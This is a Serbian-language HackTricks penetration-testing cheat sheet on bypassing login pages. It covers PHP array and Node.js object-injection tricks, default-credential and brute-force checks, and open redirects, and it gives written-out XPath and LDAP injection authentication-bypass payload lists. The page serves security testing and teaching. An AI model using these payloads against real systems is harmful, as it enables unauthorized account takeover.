Login Bypass

Support HackTricks

RootedCON je najrelevantnija sajber bezbednosna manifestacija u Španiji i jedna od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je vrelo okupljanje za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.

Zaobilaženje redovnog prijavljivanja

Ako pronađete stranicu za prijavljivanje, ovde možete pronaći neke tehnike za pokušaj zaobilaženja:

  • Proverite komentare unutar stranice (pomaknite se nadole i nadesno?)

  • Proverite da li možete direktno pristupiti ograničenim stranicama

  • Proverite da ne šaljete parametre (ne šaljite nijedan ili samo 1)

  • Proverite PHP greške u poređenju: user[]=a&pwd=b , user=a&pwd[]=b , user[]=a&pwd[]=b

  • Promenite tip sadržaja na json i pošaljite json vrednosti (bool true uključeno)

  • Ako dobijete odgovor koji kaže da POST nije podržan, možete pokušati da pošaljete JSON u telu, ali sa GET zahtevom sa Content-Type: application/json

  • Proverite potencijalnu grešku u parsiranju nodejs-a (pročitajte ovo): password[password]=1

  • Nodejs će transformisati taj payload u upit sličan sledećem: SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` ``password=password=1; što čini da deo za lozinku uvek bude tačan.

  • Ako možete poslati JSON objekat, možete poslati "password":{"password": 1} da zaobiđete prijavljivanje.

  • Zapamtite da da biste zaobišli ovo prijavljivanje, još uvek morate znati i poslati važeće korisničko ime.

  • Dodavanje "stringifyObjects":true opcije prilikom pozivanja mysql.createConnection će na kraju blokirati sve neočekivane ponašanja kada se Object prosledi kao parametar.

  • Proverite akreditive:

  • Podrazumevani akreditive tehnologije/platforme koja se koristi

  • Uobičajene kombinacije (root, admin, password, naziv tehnologije, podrazumevani korisnik sa jednom od ovih lozinki).

  • Kreirajte rečnik koristeći Cewl, dodajte podrazumevani korisnički naziv i lozinku (ako postoji) i pokušajte da ih brute-force koristeći sve reči kao korisnička imena i lozinke

  • Brute-force koristeći veći rečnik (Brute force)

SQL Injection zaobilaženje autentifikacije

Ovde možete pronaći nekoliko trikova za zaobilaženje prijavljivanja putem SQL injekcija.

Na sledećoj stranici možete pronaći prilagođenu listu za pokušaj zaobilaženja prijavljivanja putem SQL injekcija:

Login bypass List

No SQL Injection zaobilaženje autentifikacije

Ovde možete pronaći nekoliko trikova za zaobilaženje prijavljivanja putem No SQL injekcija.

Pošto NoSQL injekcije zahtevaju promenu vrednosti parametara, moraćete da ih testirate ručno.

XPath Injection zaobilaženje autentifikacije

Ovde možete pronaći nekoliko trikova za zaobilaženje prijavljivanja putem XPath injekcije.

' or '1'='1
' or ''='
' or 1]%00
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
'or string-length(name(.))<10 or'
'or contains(name,'adm') or'
'or contains(.,'adm') or'
'or position()=2 or'
admin' or '
admin' or '1'='2

LDAP Injection autentifikacija zaobilaženje

Ovde možete pronaći nekoliko trikova za zaobilaženje prijave putem LDAP Injection.

*
*)(&
*)(|(&
pwd)
*)(|(*
*))%00
admin)(&)
pwd
admin)(!(&(|
pwd))
admin))(|(|

Zapamti me

Ako stranica ima funkcionalnost "Zapamti me", proverite kako je implementirana i vidite da li možete da je zloupotrebite da preuzmete druge naloge.

Preusmeravanja

Stranice obično preusmeravaju korisnike nakon prijavljivanja, proverite da li možete da izmenite to preusmeravanje kako biste izazvali Open Redirect. Možda možete ukrasti neke informacije (kodove, kolačiće...) ako preusmerite korisnika na vašu veb stranicu.

Ostale provere

  • Proverite da li možete da enumerišete korisnička imena zloupotrebom funkcionalnosti prijavljivanja.

  • Proverite da li je automatsko popunjavanje aktivno u lozinkama/osetljivim informacijama formama input: <input autocomplete="false"

​​RootedCON je najrelevantnija sajber bezbednosna manifestacija u Španiji i jedna od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je vrelo okupljalište za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.

Podržite HackTricks

Last updated